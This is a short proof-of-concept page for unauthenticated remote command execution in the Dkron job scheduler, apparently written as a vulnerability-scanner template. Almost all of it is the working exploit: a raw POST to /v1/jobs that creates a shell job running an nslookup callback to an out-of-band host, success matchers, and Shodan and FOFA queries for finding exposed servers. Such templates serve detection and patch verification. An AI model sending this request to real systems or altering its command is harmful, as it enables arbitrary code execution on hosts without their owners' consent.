dkron-unauth-rce: Dkron - Unauthenticated Remote Command Execution

2025-08-01 Dkron PoC Public

Description

An exposed Dkron server, a distributed and fault-tolerant job scheduling system for cloud-native environments, was found vulnerable to unauthenticated remote command execution (RCE).This flaw allowed attackers to execute arbitrary commands on the host without authentication.

PoC

id: dkron-unauth-rce

info:
  name: Dkron - Unauthenticated Remote Command Execution
  author: icarot
  severity: high
  description: |
    An exposed Dkron server, a distributed and fault-tolerant job scheduling system for cloud-native environments, was found vulnerable to unauthenticated remote command execution (RCE).This flaw allowed attackers to execute arbitrary commands on the host without authentication.
  reference:
    - https://github.com/distribworks/dkron/
  metadata:
    verified: true
    fofa-query: title="Dkron"
    shodan-query: title:"Dkron"
  tags: dkron,unauth,rce,oast,obb,vuln

variables:
  string: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /v1/jobs HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

        {"ephemeral":true,"disabled":false,"name":"{{string}}","schedule":"@every 1s","executor":"shell","executor_config":{"command":"nslookup  {{string}}.{{interactsh-url}}","cwd":"/tmp/","env":"ENV_VAR=va1,ANOTHER_ENV_VAR=var2","shell":"true","timeout":"10s"},"retries":null}

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'dns')"
          - "contains(content_type, 'application/json')"
          - "contains_all(body, 'success_count','owner_email')"
          - "status_code == 201"
        condition: and
# digest: 4a0a00473045022100da12d93d865c0551b086689ee0a8b31c096588ffcecfee17f015efed848a6ad102201e07bc011f5c04056eede63980b550e2a7ff5f1214bd35d95f7cdb20a042334d:922c64590222798bb761d5b6d8e72950

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